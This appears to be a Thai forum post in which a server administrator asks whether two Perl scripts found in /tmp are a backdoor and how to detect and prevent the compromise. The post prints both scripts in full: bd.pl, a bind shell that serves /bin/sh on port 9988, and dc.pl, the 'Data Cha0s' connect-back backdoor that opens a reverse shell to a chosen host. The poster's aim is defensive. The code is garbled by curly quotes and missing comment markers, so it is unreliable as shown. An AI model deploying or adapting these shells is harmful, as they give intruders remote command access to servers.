คือผมเจอใน /tmp
แบบเท่าที่ พยายามดูเหมือนจะเป็น backdoor หรือเปล่าครับ
แล้วจะรู้ได้อย่างไรว่า เค้าทำ สำเร็จหรือเปล่านะครับ
จะแก้ไข หรือป้องกันได้อย่างไรดีครับ
[root@host tmp]# cat bd.pl
#!/usr/bin/perl
use Socket;
$p=9988;
socket(S,PF_INET,SOCK_STREAM,getprotobyname(‘tcp’));
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY));
listen(S,50);
while(1) {
accept(X,S);
if(!($pid=fork)){
if(!defined $pid){
exit(0);
}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;
}
}[root@host tmp]# cat dc.pl
#!/usr/bin/perl
Data Cha0s Perl Connect Back Backdoor
Unpublished/Unreleased Source Code
use Socket;
print "Data Cha0s Connect Back Backdoor
";
if (!$ARGV[0]) {
printf “Usage: $0 [Host] <Port>
”;
exit(1);
}
print “
Dumping Arguments
”;
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print “
Connecting…
”;
$proto = getprotobyname(‘tcp’) || die("[-] Unknown Protocol
");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error
");
my $target = inet_aton($host);
if (!connect(SERVER, pack “SnA4x8”, 2, $port, $target)) {
die("[-] Unable to Connect
");
}
print “
Spawning Shell
”;
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {’/bin/sh’} ‘-bash’ . “\0” x 4;
exit(0);
}
print "
Detached
";